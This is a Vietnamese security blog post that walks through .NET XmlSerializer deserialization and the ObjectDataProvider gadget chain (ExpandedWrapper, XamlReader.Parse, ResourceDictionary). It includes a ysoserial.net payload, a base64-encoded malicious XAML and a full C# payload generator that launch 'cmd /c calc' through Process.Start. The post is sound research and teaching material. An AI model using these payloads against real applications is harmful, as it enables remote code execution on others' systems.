Serializer - XmlSerializer và ObjectDataProvider chain

Tiếp theo ta sẽ đến gia phả Serializer với đại diện được phân tích là XmlSerializer

XmlSerializer

Quá trình Serialize

Đúng như tên gọi thì XmlSerializer cho phép ta seri object thành XML, hoặc deser từ XML thành object

Để tiến hành sử dụng, đầu tiên mình sẽ có một object sau đây muốn seri thành xml

namespace demo
{
    public class XMLObject
    {
        public string Name;
        public string Value;
    }
}

Mình có đoạn code sau tại hàm main để tiến hành seri và deser

XMLObject obj = new XMLObject();
obj.Name = "Nametest";
obj.Value = "testing";
XmlSerializer xmlSerializer = new XmlSerializer(typeof(XMLObject));
FileStream fs = new FileStream("data.bin", FileMode.Create, FileAccess.Write, FileShare.None);
xmlSerializer.Serialize(fs, obj);
fs.Close();
            
Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read, FileShare.Read);
XMLObject deser = (XMLObject)xmlSerializer.Deserialize(stream);
Console.WriteLine(deser.Name + deser.Value);

Một lưu ý khi khởi tạo XmlSerializer là: constructor của nó yêu cầu ta phải khai báo type của object muốn serialize

Khi đã khai báo thành công XmlSerializer, khi chạy code ta sẽ có kết quả

Kết quả khi seri:

Kết quả khi deser:

Một lưu ý nho nhỏ là XmlSerializer có một giới hạn, nó không thể seri những property read-only, tức là những property private hoặc public property mà không có setter đều sẽ được coi là read-only nên nó không thể seri và quăng lỗi (nguồn: https://stackoverflow.com/questions/13401192/why-are-properties-without-a-setter-not-serialized)

Demo exploit gadget chain ObjectDataProvider

Lý thuyết serialize đủ rồi, giờ mình sẽ bắt đầu exploit 1 gadget chain phổ biến đối với thằng XmlSerializer này là ObjectDataProvider

Mình sẽ dùng .net ysoserial để gen ra payload như sau

$ ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

Chain của chúng ta sẽ là: ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")

Nhìn có vẻ đơn giản nhưng sự thật thì không, cụ thể mình sẽ phân tích ở phần sau, còn bây giờ mình sẽ dùng đoạn code sau để demo

namespace xmlserializer_gadget
{
  
    class Program
    {
        static void Main(string[] args)
        {

            var xmlDoc = new XmlDocument();

            xmlDoc.Load(@"exploit.xml");

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root"))
            {

                string typeName = xmlItem.GetAttribute("type");
                Console.WriteLine(typeName);

                var xser = new XmlSerializer(Type.GetType(typeName));

                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
                xser.Deserialize(reader);
            }
        }
    }
}

Kết quả:

Đoạn code demo trên được tham khảo từ https://github.com/pwntester/ysoserial.net/issues/24 và đó cũng là tái hiện lại sink của CVE-2017-9822 DotNetNuke

Lưu ý khi exploit: có thể thấy nếu muốn exploit thành công gadget này thì ta cần phải kiểm soát được object type sẽ đi vào phần khai báo của XmlSerializer

Phân tích gadget ObjectDataProvider

ObjectDataProvider là gì?

Trước khi đi vào sâu phân tích, ta cần phải biết ObjectDataProvider là gì và nó đóng vai trò gì trong chain ?

Theo docs Microsoft thì ta có định nghĩa như sau:

Đọc thấy chung chung quá, cách hiệu quả nhất để hiểu là dùng thử nó. Mình có đoạn code sau

ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";

Note: muốn dùng ObjectDataProvider ta cần namespace System.Windows.Data, mà namespace này sẽ nằm trong package PresentationFramework , do đó ta cần phải install package này trước khi thực thi code

Khi đoạn code trên thực thi, calc sẽ popup. Hay nói cách khác khi ObjectDataProvider instance được tạo thì nó sẽ tạo luôn instacne của Process và đồng thời cũng thực thi method Start với argument mà ta truyền vào.

Cụ thể quá trình ObjectDataProvider có thể tham khảo ở đây: https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net#:~:text=while being deserialized.-,How is this possible,-The System.Windows

Vậy thì hành vi này giúp ích gì trong quá trình exploit deser. Ta có thể thấy nếu payload chỉ cần tạo được instace của ObjectDataProvider thì ObjectDataProvider sẽ giúp ta gọi đến Process.Start(”cmd.exe”, “/c calc”), tức là ta không cần tìm cách gọi đến method Start để RCE mà chỉ cần gọi được ObjectDataProvider, thì RCE sẽ tự động được trigger

Các bạn có thể thấy được sự tương đồng của ObjectDataProvider với InvokerTransformer trong chain CC của Java. Nhưng đối với .net thì đây là key quan trọng trong chain

Sau khi hiểu được công dụng của ObjectDataProvider, ta thử áp dụng nó vào quá trình seri/deser của XmlSerializer với đoạn code sau

ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, o);

Đoạn code trên khi thực thi sẽ quăng ra lỗi:

Theo mình tìm hiểu thì có thể lỗi này là do ObjectDataProvider mang trong mình thêm một object type khác là Process, mà giới hạn của XmlSerializer thì chỉ seri/deser được một type object do đó dẫn đến bị lỗi

Để khắc phục tình trạng này thì ta có thể dùng ExpandedWrapper để wrap exploit object lại

ExpandedWrapper

ExpandedWrapper là một class được sử dụng trong hệ thống internal của .net, mục đích ban đầu của nó không phải dành cho dev nên docs ghi khá chung chung và dễ confuse

Theo như mình tìm hiểu thì ExpandedWrapper cho phép "expand" thêm object type vào một object type khác, nghĩa là ExpandedWrapper sẽ tạo ra 1 wrapper mang bên trong 2-nhiều object type. Đây chính xác là thứ ta cần để bypass hành vi seri hạn chế của XmlSerializer

Ta sẽ có đoạn code sử dụng ExpandedWrapper đơn giản như sau:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace demo
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
            myExpWrap.ProjectedProperty0.MethodName = "Start";
        }
    }
}

Ở đoạn code trên, khi khai báo ExpandedWrapper ta sẽ truyền vào tham số đầu tiên là Process và tham số thứ 2 là ObjectDataProvider. Nghĩa là object type được expand sẽ là ObjectDataProvider và object type sẽ expand vào ObjectDataProvider là Process. Nếu ta muốn thay đổi object type được gọi bởi ObjectDataProvider thì ta sẽ thay thế vào tham số đầu tiên.

Mình sẽ thử serialize object ExpandedWrapper với XmlSerializer với đoạn code sau

MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Start";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);

Lúc này khi chạy code ta sẽ bị dính lỗi như sau:

Nguyên nhân của lỗi này là do object Process không thể serialize thành XML do nó có kế thừa System.ComponentModel.Component mà class này có filed site là một interface. Interface thì không thể serialize thành XML được nên quăng ra lỗi (nguồn https://www.youtube.com/watch?v=os22pgVzXQw phút 24:34)

Do đó cho dù ta đã tìm được cách bypass để seri được nhiều object type thì cũng không thể dùng Process để RCE được, nên ta phải tìm cách khác.

Khi nhìn vào payload của ysoserial ta sẽ thấy cách xử lý của ysoserial là cho ObjectDataProvider trong ExpandedWrapper gọi đến XAMLReader.Parse , rồi từ XAMLReader.Parse load một XML độc hại, mà XML độc hại đó khi được load sẽ tạo instance của ObjectDataProvider và trigger RCE. Đây là một cách rất hay để bypass, cùng mình tiếp tục phân tích

Dùng XAMLReader.Parse để trigger RCE

Đây là phần khiến mình mất rất nhiều thời gian để research và hiểu về nó, sau khi đọc rất nhiều blog và docs thì mình đúc kết được những gì mình hiểu sau đây.

Nói một chút về XAML, thì đây là loại markup language được tạo ra để sử dụng trong WPF (hiểu nôm na là framework code app bằng c# của .net) do đó nếu muốn thực thi được XAML ta phải có một project WPF chuẩn chỉ, hoặc đơn giản hơn ta có thể dùng XAMLReader.Parse để xử lý XAML.

Quay trở lại với chain, khi đọc thêm docs về ObjectDataProvider ta sẽ thấy dòng sau

Đại khái có nghĩa là trong XAML ta có thể sử dụng ObjectDataProvider để bind object, cho phép ta tạo instance và thực thi method của object như cách ObjectDataProvider được dùng trong code thông thường. Điều này có nghĩa là ta không cần phải seri ObjectDataProvider để trigger RCE nữa, mà chỉ cần đưa trực tiếp chuỗi XAML vào XAMLReader.Parse , thì ObjectDataProvider instace sẽ được tạo -> trigger RCE. Nhưng làm sao để sử dụng được ObjectDataProvider trong XAML ?

Để sử dụng ObjectDataProvider trong XAML ta sẽ khai báo nó như một element và thường nằm ở phần khai báo resources của XAML

Khái niệm resources trong xaml có nghĩa là những tài nguyên được khai báo và sử dụng nhiều lần (tương tự như biến) và ta có thể khai báo object trong resources bằng nhiều cách (dùng ObjectDataProvider là một trong số cách)

Note: mình không tìm được docs ghi rõ là liệu ObjectDataProvider chỉ dùng được trong phần khai báo resources hay không, nhưng từ khái niệm và cách sử dụng ta cũng có thể ngầm hiểu như vậy (?)

Ví dụ với XAML như sau:

 <Window x:Class="WpfAppTest.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:s="clr-namespace:System;assembly=mscorlib"
        xmlns:d="clr-namespace:System.Diagnostics;assembly=System"
        Title="MainWindow" Height="300" Width="300">
    
  <Window.Resources>
     <ObjectDataProvider x:Key="myListItems"
                         ObjectType="{x:Type d:Process}"
                         MethodName="Start">
	     <ObjectDataProvider.MethodParameters>
         <s:String>calc.exe</s:String>
       </ObjectDataProvider.MethodParameters>
     </ObjectDataProvider>
  </Window.Resources>
...

Ở đây ta để ý phần khai báo attribute của element windows:

  • xmlns và xmlns:x : mặc định có nên ta không cần quan tâm

  • xmlns:s="clr-namespace:System;assembly=mscorlib" : define prefix s trỏ đến “clr-namespace:System;assembly=mscorlib” tương tự như package System trong code C# thông thường, nghĩa là ở dưới khi ta dùng s:String là tương tự như System.String

  • xmlns:d="clr-namespace:System.Diagnostics;assembly=System" : define prefix d trỏ đến “clr-namespace:System.Diagnostics;assembly=System” tương tự như package System.Diagnostics, khi đó gọi d:Process sẽ tương tự như System.Diagnostics.Process

Khi này nếu ta thực thi XAML trên bằng XAMLReader.Parse thì calc sẽ popup.

Tuy nhiên còn một vấn đề nữa là đoạn XAML trên quá dài và bị phụ thuộc vào project, không hề portable. Để khiến payload có thể exploit được với mọi hệ thống ta phải tìm cách khai báo XAML làm sao cho chạy được trên mọi hệ thống thông qua XAMLReader.Parse

ResourceDictionary come to rescue

Khi đào sâu thêm vào các tính năng của XAML cung cấp thì ta biết được có thể khai báo resources vào riêng một file và sử dụng được khắp nơi trong project tính năng này gọi là Resource Dictionaries, từ đó mang đến khả năng flexible cho XAML → ta có thể lợi dụng

Thay vì dùng Window.Resources thì ta sẽ dùng ResourceDictionary để khai báo ObjectDataProvider như sau:

<ResourceDictionary 
                    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
                    xmlns:b="clr-namespace:System;assembly=mscorlib" 
                    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

Khi này resource đã hoàn toàn độc lập và có thể dùng được ở mọi nơi

Mình có đoạn code sau để demo:

namespace xmlserializer_gadget
{
  
    class Program
    {
        static void Main(string[] args)
        {
		        // base64 payload
            string p =
                "PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
            byte[] vs = Convert.FromBase64String(p);
            string xml = Encoding.UTF8.GetString(vs);
            XmlDeserialize(xml);
        }
        public static void XmlDeserialize(string o)
        {
            XamlReader.Parse(o);
        }
    }
}

Kết quả khi thực thi

Cách trên là ta sẽ khai báo ObjectDataProvider trong phần resources để được tự động tạo, hoặc ta cũng có một cách khai báo khác là tự động tạo instance của ObjectDataProvider bằng property ObjectInstance, nghĩa là thay vì khởi tạo gián tiếp qua ResourceDictionary, thì ta sẽ khởi tạo trực tiêp trong ObjectDataProvider (cách này khi nghiên cứu các chain khác thì mình thấy)

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

Hiệu quả của cả 2 cách là như nhau

Gen payload

Tổng hợp tất cả các ý trên, mình có một đoạn code sau để generate xml payload và deser xml payload

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
using System.Windows.Markup;

namespace xmlserializer_gadget
{
    class Program
    {
        static void Main(string[] args)
        {
            // Prepare payload
            string p =
                "PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
            byte[] vs = Convert.FromBase64String(p);
            string payload_xml = Encoding.UTF8.GetString(vs);
            
            // Prepare to serialize
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(payload_xml);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); // Decalre XamlReader.Parse to load payload and trigger RCE
            XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
            
            // Serialize 
            xml.Serialize(writer, expandedWrapper);
            string result = Encoding.UTF8.GetString(memoryStream.ToArray());
            Console.WriteLine(result);
            
            // Deserialize
            memoryStream.Position = 0;
            xml.Deserialize(memoryStream);

            Console.ReadKey();
        }
    }
}

Khi thực thi ta sẽ có được xml payload như sau

Payload này là gần tương tự như payload được gen bởi ysoserial, và khi xml string được deser calc sẽ pop up.

Tóm tắt

Như vậy ta đã hiểu đầy đủ những tính năng và cơ chế cấu thành nên chain ObjectDataProvider sử dụng trong XmlSerializer. XmlSerializer khi deser sẽ gọi đến XamlReader.Parse, hàm này sẽ Parse malicious XAML để tạo instance của ObjectDataProvider, khi ObjectDataProvider khởi tạo nó sẽ tự động invoke Process.Start → RCE

Điều kiện để chain này hoạt động là:

  • Target có dùng package PresentationFramework

  • Ta có thể kiểm soát được object type khi khởi tạo XmlSerializer constructor

  • Malicous xml sẽ rơi vào XmlSerializer.Deserialize()

Refer

Last updated